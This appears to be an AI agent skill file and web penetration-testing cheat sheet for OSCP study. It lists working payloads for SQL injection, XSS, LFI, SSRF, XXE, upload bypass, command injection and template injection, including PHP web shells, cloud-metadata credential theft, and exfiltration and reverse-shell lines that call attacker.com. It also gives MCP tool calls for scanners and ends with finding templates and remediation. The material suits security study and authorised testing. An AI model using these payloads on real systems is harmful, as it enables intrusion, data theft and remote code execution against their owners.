pentest-web-attacks

name	pentest-web-attacks
description	Web application penetration testing skills covering SQLi, XSS, LFI, SSRF, XXE, file upload bypass, command injection, and SSTI
type	skill
version	1
ptes-phases	3.1, 4.1, 4.2, 4.4, 4.7, 4.9, 5.1, 5.2
tags	web-attacks, sqli, xss, lfi, ssrf, xxe, file-upload, command-injection, ssti

Web Application Penetration Testing

Comprehensive web attack methodologies for OSCP+/OSEP preparation. Covers SQL injection, XSS, LFI/RFI, SSRF, XXE, file upload bypass, command injection, and SSTI.

Quick Start

# Full web assessment workflow
/web-scan TARGET_URL
/sqli-test TARGET_URL
/xss-test TARGET_URL
/lfi-test TARGET_URL
/ssrf-test TARGET_URL

---

Phase 1: SQL Injection

1.1 String-Based SQL Injection

# Basic string injection
' OR '1'='1
' OR '1'='1' --
' OR '1'='1' /*
') OR ('1'='1
') OR ('1'='1') --

# Authentication bypass
admin' --
admin' #
admin'/*
' OR 1=1 --
' OR '1'='1' --

# Union-based enumeration
' UNION SELECT NULL --
' UNION SELECT NULL,NULL --
' UNION SELECT NULL,NULL,NULL --

# Find number of columns
' ORDER BY 1 --
' ORDER BY 2 --
' ORDER BY 3 --

# Extract database info
' UNION SELECT 1,2,3 --
' UNION SELECT 1,database(),3 --
' UNION SELECT 1,version(),3 --
' UNION SELECT 1,user(),3 --

1.2 Numeric SQL Injection

# Basic numeric injection
1 OR 1=1
1 OR 1=1 --
1 OR 1=1 #
1' OR 1=1 --
1') OR (1=1 --

# Union-based enumeration
1 UNION SELECT 1,2,3 --
1 UNION SELECT 1,database(),3 --
1 UNION SELECT 1,version(),3 --

# Boolean-based
1 AND 1=1 --
1 AND 1=2 --
1 AND (SELECT COUNT(*) FROM users) > 0 --

# Time-based
1 AND SLEEP(5) --
1; WAITFOR DELAY '0:0:5' --
1 AND BENCHMARK(10000000,MD5('test')) --

1.3 UNION-Based SQL Injection

# Basic UNION injection
' UNION SELECT username,password FROM users --
' UNION SELECT column_name,table_name FROM information_schema.columns --
' UNION SELECT table_name,NULL FROM information_schema.tables --

# MySQL
' UNION SELECT 1,2,3,4,5 INTO OUTFILE '/var/www/shell.php' --
' UNION SELECT 1,2,3,4,5 INTO DUMPFILE '/var/www/shell.php' --

# PostgreSQL
' UNION SELECT 1,2,3 INTO TABLE pg_read_file('/etc/passwd') --
' UNION SELECT COPY (SELECT 'test') TO '/tmp/test.txt' --

# MSSQL
' UNION SELECT 1,2,3 INTO OPENROWSET('SQLNCLI','Server=x;Database=y;Uid=z','SELECT * FROM table') --

1.4 Error-Based SQL Injection

# MySQL
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT version()))) --
' AND UPDATEXML(1,CONCAT(0x7e,(SELECT version())),1) --

# PostgreSQL
' AND (SELECT CAST(version() AS NUMERIC)) --
' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT version()),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) --

# MSSQL
' AND (SELECT CONVERT(INT,@@version)) --
' AND (SELECT 1/@@version) --

1.5 Blind SQL Injection

# Boolean-based blind
' AND SUBSTRING((SELECT database()),1,1)='a' --
' AND ASCII(SUBSTRING((SELECT user()),1,1))=97 --
' AND (SELECT COUNT(*) FROM users WHERE username='admin') > 0 --

# Time-based blind (MySQL)
' AND SLEEP(5) --
' AND IF(1=1,SLEEP(5),0) --
' AND (SELECT CASE WHEN (1=1) THEN SLEEP(5) ELSE 0 END) --

# Time-based blind (PostgreSQL)
' AND (SELECT PG_SLEEP(5)) --
' AND (SELECT CASE WHEN (1=1) THEN PG_SLEEP(5) ELSE 0 END) --

# Time-based blind (MSSQL)
' AND WAITFOR DELAY '0:0:5' --
' AND IF(1=1) WAITFOR DELAY '0:0:5' --

# OAST-based blind
' AND (SELECT LOAD_FILE(CONCAT('\\\\',(SELECT database()),'.attacker.com\\test'))) --
' AND (SELECT pg_read_file('/etc/passwd')) --

1.6 SQLMap Automation

# Basic scan
sqlmap -u "http://target.com/page?id=1"

# Advanced scan
sqlmap -u "http://target.com/page?id=1" --batch --risk=3 --level=5

# Database enumeration
sqlmap -u "http://target.com/page?id=1" --dbs
sqlmap -u "http://target.com/page?id=1" -D database --tables
sqlmap -u "http://target.com/page?id=1" -D database -T users --columns
sqlmap -u "http://target.com/page?id=1" -D database -T users -C username,password --dump

# File access
sqlmap -u "http://target.com/page?id=1" --file-read="/etc/passwd"
sqlmap -u "http://target.com/page?id=1" --file-write="/tmp/shell.php" --file-dest="/var/www/shell.php"

# OS shell
sqlmap -u "http://target.com/page?id=1" --os-shell
sqlmap -u "http://target.com/page?id=1" --os-cmd="whoami"

# POST requests
sqlmap -u "http://target.com/login" --data="username=admin&password=test"

# Cookie injection
sqlmap -u "http://target.com/page" --cookie="session=abc123"

# Header injection
sqlmap -u "http://target.com/page" --headers="X-Forwarded-For: 127.0.0.1"

# Tamper scripts
sqlmap -u "http://target.com/page?id=1" --tamper=space2comment,between,equaltolike

1.7 Second-Order SQL Injection

# Store payload in database
username: admin' AND (SELECT SLEEP(5)) --
password: test123

# Trigger on second request
GET /profile?user=admin

# Or extract data
username: admin' AND (SELECT LOAD_FILE(CONCAT('\\\\',(SELECT database()),'.attacker.com\\a'))) --

1.8 NoSQL Injection

# MongoDB
username: {"$ne": null}
password: {"$ne": null}

username: {"$regex": "^a"}
password: {"$regex": ".*"}

# Authentication bypass
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$gt": ""}, "password": {"$gt": ""}}

# Union-based
{"$where": "return this.username == 'admin'"}

# Blind NoSQL
username[$regex]=a.*
password[$ne]=random

---

Phase 2: Cross-Site Scripting (XSS)

2.1 HTML Context XSS

# Basic payload
<script>alert(1)</script>
<script>alert(document.domain)</script>
<script>alert(document.cookie)</script>

# Without script tags
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<iframe onload=alert(1)>

# Event handlers
<img src=x onerror=alert(1)>
<img src=x onmouseover=alert(1)>
<div onmouseover=alert(1)>hover me</div>
<a href="javascript:alert(1)">click me</a>

# Bypass filters
<ScRiPt>alert(1)</ScRiPt>
<scr<script>ipt>alert(1)</scr</script>ipt>
<script/src=//evil.com/xss.js></script>

2.2 Attribute Context XSS

# Break out of attribute
" onmouseover="alert(1)"
' onmouseover='alert(1)'
><script>alert(1)</script>

# Inside href
javascript:alert(1)
data:text/html,<script>alert(1)</script>

# Inside src
javascript:alert(1)
data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==

# Inside value
";alert(1);"
'-alert(1)-'

2.3 JavaScript Context XSS

// Inside JavaScript variable
';alert(1);//
');alert(1);//
'};alert(1);//{

// Template literal
${alert(1)}
${document.domain}

// Without quotes
;alert(1)//
-alert(1)-
+alert(1)+

2.4 URL-Based XSS

# In URL parameter
?callback=<script>alert(1)</script>
?redirect=<script>alert(1)</script>
?url=<script>alert(1)</script>

# In fragment
#<script>alert(1)</script>
#javascript:alert(1)

# Encoded payloads
%3Cscript%3Ealert(1)%3C/script%3E
%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E

2.5 DOM-Based XSS

# Sink sources
document.write()
document.writeln()
element.innerHTML
element.outerHTML
eval()
setTimeout()
setInterval()
location.hash
location.search

# Payloads
#<img src=x onerror=alert(1)>
#javascript:alert(1)
#<svg onload=alert(1)>

# Exploitation
http://target.com/page#<img src=x onerror=alert(1)>
http://target.com/page?callback=<script>alert(1)</script>

2.6 SVG XSS

# SVG payloads
<svg onload=alert(1)>
<svg/onload=alert(1)>
<svg><script>alert(1)</script></svg>
<svg><script xlink:href="data:,alert(1)"></script></svg>

# SVG file upload
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
  <rect width="300" height="200" style="fill:rgb(0,0,255);" />
  <script type="text/javascript">alert(1)</script>
</svg>

2.7 XSS Polyglot

# Jaeger's polyglot
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcLiCk=alert(1) )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert(1)//>

# Ashar's polyglot
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert(1)//>

# Simple polyglot
"><img/src=x onerror=alert(1)//

2.8 XSS Filter Bypass

# Case variation
<ScRiPt>alert(1)</ScRiPt>

# Double encoding
%253Cscript%253Ealert(1)%253C/script%253E

# Unicode encoding
\u003cscript\u003ealert(1)\u003c/script\u003e

# HTML entities
&#60;script&#62;alert(1)&#60;/script&#62;

# Null byte injection
<scr\u0000ipt>alert(1)</script>

# Newline bypass
<script%0A>alert(1)</script>
<script%0D>alert(1)</script>

# Tab bypass
<script%09>alert(1)</script>

2.9 XSS with Dalfox

# Basic scan
dalfox url http://target.com/page

# Advanced scan
dalfox url http://target.com/page -o dalfox_report.html

# With wordlist
dalfox url http://target.com/page -w custom_wordlist.txt

# Blind XSS
dalfox url http://target.com/page --blind https://your-bxss-server.com

# Multi-url
cat urls.txt | dalfox pipe -o report.html

---

Phase 3: Local File Inclusion (LFI)

3.1 Path Traversal

# Basic traversal
../../../etc/passwd
....//....//....//etc/passwd
..%2f..%2f..%2fetc%2fpasswd

# URL encoding
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd%00

# Double URL encoding
%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd

# UTF-8 encoding
%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afetc%c0%afpasswd

# Null byte (PHP < 5.3.4)
../../../etc/passwd%00
../../../etc/passwd\0

3.2 PHP Wrappers

# php://filter
php://filter/convert.base64-encode/resource=index.php
php://filter/read=string.rot13/resource=index.php
php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd

# php://input (POST data)
php://input
# POST: <?php system($_GET['cmd']); ?>

# data:// wrapper
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+
data://text/plain,<?php system($_GET['cmd']); ?>

# expect:// wrapper (requires php_expect extension)
expect://id
expect://whoami

# zip:// wrapper
zip://shell.jpg%23shell.php
# Upload shell.jpg containing <?php system($_GET['cmd']); ?>
# Then access: ?page=zip://shell.jpg%23shell.php

# phar:// wrapper
phar://shell.jpg/shell.php

3.3 Linux Files

# User files
/etc/passwd
/etc/shadow
~/.bash_history
~/.ssh/id_rsa
~/.ssh/authorized_keys
/var/mail/username

# Web files
/var/www/html/index.php
/var/www/html/config.php
/etc/apache2/apache2.conf
/etc/nginx/nginx.conf
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/nginx/access.log
/var/log/nginx/error.log

# System files
/proc/self/environ
/proc/self/cmdline
/proc/self/fd/0
/proc/self/fd/1
/proc/self/fd/2
/proc/version
/etc/hosts
/etc/hostname

3.4 Windows Files

# System files
C:\Windows\System32\drivers\etc\hosts
C:\Windows\win.ini
C:\Windows\system.ini
C:\boot.ini

# User files
C:\Users\username\AppData\Local\Microsoft\Windows\History\*
C:\Users\username\AppData\Local\Microsoft\Windows\Temporary Internet Files\*
C:\Users\username\Documents\*

# Web files
C:\inetpub\wwwroot\web.config
C:\inetpub\logs\LogFiles\W3SVC1\u_ex*.log
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log

# Application files
C:\Program Files\*\*.log
C:\Program Files (x86)\*\*.log

3.5 LFI to RCE

# /proc/self/environ
?page=/proc/self/environ&cmd=id
# Add User-Agent: <?php system($_GET['cmd']); ?>

# Log poisoning
# 1. Poison logs
curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com
# 2. Include logs
?page=/var/log/apache2/access.log&cmd=id

# PHP session files
?page=/var/lib/php/sess_SESSID
# Set session data: <?php system($_GET['cmd']); ?>

# Upload + LFI
# 1. Upload image with PHP payload in metadata
exiftool -Comment="<?php system(\$_GET['cmd']); ?>" shell.jpg
# 2. Include via LFI
?page=uploads/shell.jpg&cmd=id

3.6 LFI Automation

# LFI scanner
liffy -u "http://target.com/page?file="

# fimap
fimap -u "http://target.com/page?file="
fimap -m -u "http://target.com/page?file="

# LFISuite
python3 lfisuite.py --auto "http://target.com/page?file="

---

Phase 4: Server-Side Request Forgery (SSRF)

4.1 Basic SSRF

# Internal network
http://127.0.0.1:80
http://localhost:80
http://0.0.0.0:80
http://[::]:80

# Internal IPs
http://192.168.1.1
http://10.0.0.1
http://172.16.0.1

# With ports
http://127.0.0.1:22
http://127.0.0.1:3306
http://127.0.0.1:6379
http://127.0.0.1:27017

4.2 SSRF Filter Bypass

# URL encoding
http://%31%32%37%2e%30%2e%30%2e%31
http://127.0.0.1%00

# DNS rebinding
http://127.1.1.1.nip.io
http://127.1.1.1.xip.io

# Decimal IP
http://2130706433/  (127.0.0.1)

# Octal IP
http://0177.0.0.1
http://0177.0.0.01

# IPv6
http://[::1]:80
http://[0:0:0:0:0:ffff:7f00:1]

# Mixed encoding
http://127.0.0.1%252f%252e%252e
http://localhost%2500.com

4.3 Cloud Metadata SSRF

# AWS
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/user-data/
http://169.254.169.254/latest/meta-data/public-keys/

# GCP
http://metadata.google.internal/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
http://metadata.google.internal/computeMetadata/v1/instance/attributes/

# Azure
http://169.254.169.254/metadata/instance/compute/?api-version=2021-02-01
http://169.254.169.254/metadata/instance/compute/osProfile?api-version=2021-02-01

# DigitalOcean
http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/user-data

# Alibaba Cloud
http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/ram/security-credentials/

# Oracle Cloud
http://192.0.0.192/latest/instance/

4.4 SSRF with Gopher

# Redis
gopher://127.0.0.1:6379/_SET%20mykey%20myvalue
gopher://127.0.0.1:6379/_CONFIG%20SET%20dir%20%2Fvar%2Fwww%2Fhtml
gopher://127.0.0.1:6379/_CONFIG%20SET%20dbfilename%20shell.php
gopher://127.0.0.1:6379/_SET%20mykey%20%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%3F%3E
gopher://127.0.0.1:6379/_SAVE

# MySQL
gopher://127.0.0.1:3306/_SELECT%201;SHOW%20DATABASES;

# SMTP
gopher://127.0.0.1:25/_MAIL%20FROM:<[e-mail]>%0D%0A

# Memcached
gopher://127.0.0.1:11211/_set%20mykey%200%200%2010%0D%0amyvalue%0D%0A

4.5 SSRF with Dict

# Port scanning
dict://127.0.0.1:22/
dict://127.0.0.1:80/
dict://127.0.0.1:443/

# Service fingerprinting
dict://127.0.0.1:6379/INFO

4.6 SSRF Tools

# SSRFmap
git clone https://github.com/swisskyrepo/SSRFmap
python3 ssrfmap.py -u "http://target.com/page?url=" -p aws

# Gopherus
python3 gopherus.py --exploit

# See-SURF
python3 see-surf.py --url "http://target.com"

---

Phase 5: XML External Entity (XXE)

5.1 In-Band XXE

# Basic XXE
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>

# PHP wrapper
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
]>
<foo>&xxe;</foo>

# Windows files
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
]>
<foo>&xxe;</foo>

5.2 Out-of-Band XXE

# External DTD
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
  %dtd;
]>
<foo>&xxe;</foo>

# evil.dtd content
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://attacker.com/?data=%file;'>">
%eval;
%exfiltrate;

# Parameter entity XXE
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % param SYSTEM "http://attacker.com/evil.dtd">
  %param;
]>
<foo>test</foo>

5.3 Blind XXE

# Error-based
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
  %eval;
  %error;
]>
<foo>test</foo>

# Time-based
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % eval "<!ENTITY &#x25; delay SYSTEM 'http://attacker.com/'>">
  %eval;
  %delay;
]>
<foo>test</foo>

5.4 XXE with Different Parsers

# Java (SAXParser)
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://attacker.com/">
]>
<foo>&xxe;</foo>

# .NET (XmlDocument)
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
]>
<foo>&xxe;</foo>

# Python (lxml)
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>

# PHP (simplexml_load_string)
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
]>
<foo>&xxe;</foo>

5.5 XXE OOB with FTP

# FTP DTD
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'ftp://attacker.com:2121/%data;'>">
%eval;
%exfiltrate;

# Start FTP server
nc -lvnp 2121

---

Phase 6: File Upload Bypass

6.1 Extension Bypass

# Common extensions
.php, .php3, .php4, .php5, .php7, .phtml
.asp, .aspx, .ashx, .asmx
.jsp, .jspx, .jspf
.cgi, .pl

# Double extension
shell.php.jpg
shell.php.png
shell.php5.gif

# Reverse extension
shell.phtml.php
shell.asp.aspx

# Null byte
shell.php%00.jpg
shell.php\0.jpg

# Case variation
shell.Php
shell.PHP
shell.pHp

6.2 Content-Type Bypass

# Change Content-Type
Content-Type: image/jpeg
Content-Type: image/png
Content-Type: image/gif

# Burp Suite
# Intercept upload request
# Change Content-Type to image/jpeg
# Forward request

6.3 Magic Bytes Bypass

# GIF89a header
GIF89a;<?php system($_GET['cmd']); ?>

# PNG header
\x89PNG\r\n\x1a\n<?php system($_GET['cmd']); ?>

# JPG header
\xff\xd8\xff\xe0\x00\x10JFIF<?php system($_GET['cmd']); ?>

# Add to file
echo -ne '\x89PNG\r\n\x1a\n' > shell.png
cat shell.php >> shell.png

6.4 Polyglot Files

# GIF-PHP polyglot
GIF89a/*
<?php system($_GET['cmd']); ?>
*/

# PNG-PHP polyglot
\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR<?php system($_GET['cmd']); ?>

# Use exiftool
exiftool -Comment="<?php system(\$_GET['cmd']); ?>" shell.jpg

6.5 .htaccess Upload

# Upload .htaccess
AddType application/x-httpd-php .jpg
AddHandler application/x-httpd-php .jpg

# Then upload shell.jpg
# Access: http://target.com/uploads/shell.jpg?cmd=id

# Or upload with different extension
AddType application/x-httpd-php .png
AddHandler application/x-httpd-php .gif

6.6 SVG Upload XSS

# SVG with XSS
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
  <rect width="300" height="200" style="fill:rgb(0,0,255);" />
  <script type="text/javascript">alert(document.domain)</script>
</svg>

---

Phase 7: Command Injection

7.1 Basic Command Injection

# Linux
; id
| id
|| id
&& id
`id`
$(id)

# Windows
& whoami
| whoami
|| whoami
&& whoami
%COMSPEC% /c whoami

7.2 Command Injection Payloads

# Basic
; whoami
| whoami
|| whoami
&& whoami

# With semicolon
; cat /etc/passwd
; ls -la
; id; whoami

# With pipe
| cat /etc/passwd
| ls -la
| id

# With backticks
`cat /etc/passwd`
`ls -la`
`id`

# With $()
$(cat /etc/passwd)
$(ls -la)
$(id)

7.3 Command Injection Filter Bypass

# Space bypass
cat${IFS}/etc/passwd
cat$IFS/etc/passwd
cat</etc/passwd
{cat,/etc/passwd}

# Tab bypass
cat${TAB}/etc/passwd

# Newline bypass
cat%0A/etc/passwd

# Encoding
%3B%20whoami
%7C%20whoami

# Base64
echo 'Y2F0IC9ldGMvcGFzc3dk' | base64 -d | bash

# Hex encoding
printf '\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'

7.4 Out-of-Band Command Injection

# DNS exfiltration
nslookup $(whoami).attacker.com
dig $(cat /etc/passwd | base64).attacker.com

# HTTP exfiltration
curl http://attacker.com/$(whoami)
wget http://attacker.com/$(cat /etc/passwd | base64)

# Reverse shell
bash -i >& /dev/tcp/attacker.com/4444 0>&1
nc -e /bin/sh attacker.com 4444

7.5 Blind Command Injection

# Time-based
; sleep 5
| sleep 5
|| sleep 5
&& sleep 5

# Conditional
; if [ $(id -u) -eq 0 ]; then sleep 5; fi
| ifconfig | grep -q eth0 && sleep 5

# Output-based
; cat /etc/passwd > /tmp/output
; ls -la > /tmp/output

---

Phase 8: Server-Side Template Injection (SSTI)

8.1 SSTI Detection

# Basic payloads
${7*7}
{{7*7}}
<%= 7*7 %>
#{7*7}
${{7*7}}

# Math expressions
{{7*'7'}}
{{7+'7'}}
{{7-'7'}}
{{7/7}}

# String concatenation
{{'a'+'b'}}
{{'a'.'b'}}

8.2 Jinja2 SSTI (Python)

# Basic
{{7*7}}
{{'a'+'b'}}

# Class exploration
{{''.__class__.__mro__[2].__subclasses__()}}
{{request.__class__.__mro__[2].__subclasses__()}}

# File read
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}

# Command execution
{{''.__class__.__mro__[2].__subclasses__()[140].__init__.__globals__['popen']('id').read()}}
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

# RCE
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{% for b in c.__init__.__globals__.values() %}{% if b.__class__=={}.__class__ %}{% if 'eval' in b.keys() %}{{b['eval']('__import__("os").popen("id").read()')}}{% endif %}{% endif %}{% endfor %}{% endif %}{% endfor %}

8.3 Twig SSTI (PHP)

# Basic
{{7*7}}
{{'a'~'b'}}

# Class exploration
{{_self.env.registerUndefinedFilterCallback('exec')}}
{{_self.env.getFilter('id')}}

# File read
{{include('/etc/passwd')}}

# Command execution
{{_self.env.registerUndefinedFilterCallback('system')}}
{{_self.env.getFilter('id')}}

8.4 Freemarker SSTI (Java)

# Basic
${7*7}
${'a'+'b'}

# Class exploration
${"freemarker.template.utility.Execute"?new()("id")}

# Command execution
${"freemarker.template.utility.Execute"?new()("whoami")}
${"freemarker.template.utility.ObjectConstructor"?new()("java.lang.Runtime").getRuntime().exec("whoami")}

# File read
${"freemarker.template.utility.ObjectConstructor"?new()("java.io.File","/etc/passwd").exists()}

8.5 ERB SSTI (Ruby)

# Basic
<%= 7*7 %>
<%= 'a'+'b' %>

# Command execution
<%= system('id') %>
<%= `id` %>
<%= IO.popen('id').read %>

# File read
<%= File.read('/etc/passwd') %>

8.6 Pug SSTI (Node.js)

# Basic
#{7*7}
- var x = 7*7

# Command execution
- var x = require('child_process').execSync('id').toString()
#{x}

# File read
- var x = require('fs').readFileSync('/etc/passwd', 'utf8')
#{x}

---

Integration with HexStrike Tools

# SQLMap scan
mcp__hexstrike-local__sqlmap_scan \
  url="http://target.com/page?id=1" \
  additional_args="--batch --risk=3 --level=5"

# XSS scan with Dalfox
mcp__hexstrike-local__dalfox_xss_scan \
  url="http://target.com/page" \
  blind=true \
  mining_dom=true

# Nikto scan
mcp__hexstrike-local__nikto_scan \
  target="http://target.com" \
  additional_args="-Tuning 123456789"

# WPScan (WordPress)
mcp__hexstrike-local__wpscan_analyze \
  url="http://target.com" \
  additional_args="--enumerate vp,vt,u"

# Dirsearch
mcp__hexstrike-local__dirsearch_scan \
  url="http://target.com" \
  extensions="php,asp,aspx,jsp,html,js,css" \
  recursive=true \
  threads=50

# FFuf fuzzing
mcp__hexstrike-local__ffuf_scan \
  url="http://target.com/FUZZ" \
  wordlist="/usr/share/wordlists/dirb/common.txt" \
  mode="directory" \
  match_codes="200,301,302"

# Nuclei vulnerability scan
mcp__hexstrike-local__nuclei_scan \
  target="http://target.com" \
  severity="critical,high,medium" \
  tags="sqli,xss,lfi,ssrf,xxe"

# Burp Suite alternative
mcp__hexstrike-local__burpsuite_alternative_scan \
  target="http://target.com" \
  scan_type="comprehensive" \
  headless=true \
  max_depth=5

---

PTES Mapping

PTES Phase	Web Technique	Command
3.1 Threat Modeling	Attack surface analysis	Manual review
4.1 Vulnerability Analysis	SQL Injection	sqlmap, manual testing
4.2 Vulnerability Analysis	XSS	dalfox, manual testing
4.4 Exploitation	LFI to RCE	php://filter, log poisoning
4.7 Post-Exploitation	Web shells	Manual upload
4.9 Post-Exploitation	Database dump	sqlmap --dump
5.1 Reporting	Finding documentation	Finding templates below
5.2 Reporting	Remediation	Per-finding guidance

---

Finding Templates

SQL Injection

Severity: Critical CVSS: 9.8

Description: The application is vulnerable to SQL injection attacks through unsanitized user input in database queries.

Evidence:

• Payload ' OR '1'='1 returns different response
• Time-based payloads cause delays
• sqlmap confirms vulnerability

Impact:

• Full database compromise
• Data exfiltration
• Authentication bypass
• Potential RCE via INTO OUTFILE

Remediation:

1. Use parameterized queries/prepared statements
2. Implement input validation
3. Apply least privilege to database accounts
4. Enable WAF rules for SQL injection

---

Cross-Site Scripting (XSS)

Severity: High CVSS: 7.5

Description: The application reflects or stores user input without proper sanitization, allowing execution of arbitrary JavaScript.

Evidence:

• <script>alert(1)</script> executes in browser
• Event handlers bypass filters
• DOM sinks identified

Impact:

• Session hijacking
• Credential theft
• Defacement
• Malware distribution

Remediation:

1. Implement output encoding
2. Use Content Security Policy (CSP)
3. Validate and sanitize all user input
4. Use frameworks with auto-escaping

---

Local File Inclusion (LFI)

Severity: High CVSS: 8.2

Description: The application allows inclusion of local files through unsanitized user input in file path parameters.

Evidence:

• ../../../etc/passwd returns file contents
• PHP wrappers successfully exploited
• Log poisoning achieved RCE

Impact:

• Sensitive file disclosure
• Credential theft
• Remote code execution
• Full system compromise

Remediation:

1. Avoid dynamic file inclusion
2. Implement whitelist of allowed files
3. Use chroot jails or containers
4. Disable dangerous PHP wrappers

---

Server-Side Request Forgery (SSRF)

Severity: High CVSS: 8.6

Description: The application allows fetching of arbitrary URLs, enabling access to internal services and cloud metadata.

Evidence:

• Internal IPs accessible
• Cloud metadata endpoints reachable
• Gopher/Dict protocols abused

Impact:

• Internal network reconnaissance
• Cloud credential theft
• Access to internal services
• Port scanning

Remediation:

1. Validate and whitelist allowed URLs
2. Block internal IP ranges
3. Disable unnecessary protocols
4. Implement network segmentation

---

XML External Entity (XXE)

Severity: High CVSS: 8.2

Description: The application parses XML input with external entity resolution enabled, allowing file disclosure and SSRF.

Evidence:

• External entities resolved
• File contents exfiltrated
• OOB data exfiltration successful

Impact:

• Sensitive file disclosure
• SSRF attacks
• Denial of service
• Potential RCE

Remediation:

1. Disable external entity resolution
2. Use JSON instead of XML
3. Implement input validation
4. Update XML parsers

---

File Upload Bypass

Severity: Critical CVSS: 9.1

Description: The application's file upload functionality can be bypassed to upload malicious files.

Evidence:

• PHP files uploaded successfully
• Extension filters bypassed
• Magic bytes validation bypassed

Impact:

• Remote code execution
• Web shell deployment
• Full server compromise
• Data breach

Remediation:

1. Implement strict file type validation
2. Store uploads outside webroot
3. Use random filenames
4. Implement file content validation

---

Command Injection

Severity: Critical CVSS: 10.0

Description: The application executes system commands with unsanitized user input.

Evidence:

• Command separators accepted
• Commands executed successfully
• OOB exfiltration confirmed

Impact:

• Full system compromise
• Lateral movement
• Data exfiltration
• Persistence

Remediation:

1. Avoid system command execution
2. Use parameterized APIs
3. Implement input validation
4. Run with minimal privileges

---

Server-Side Template Injection (SSTI)

Severity: Critical CVSS: 9.8

Description: The application renders user-controlled input as template code, allowing arbitrary code execution.

Evidence:

• Math expressions evaluated
• Class exploration successful
• RCE achieved via template engine

Impact:

• Full system compromise
• Data exfiltration
• Lateral movement
• Persistence

Remediation:

1. Use sandboxed template engines
2. Avoid user input in templates
3. Implement input validation
4. Use logic-less templates

---

Additional Resources

• OWASP Testing Guide
• PayloadsAllTheThings
• HackTricks Web
• PortSwigger Web Security Academy
• PentestCheatsheet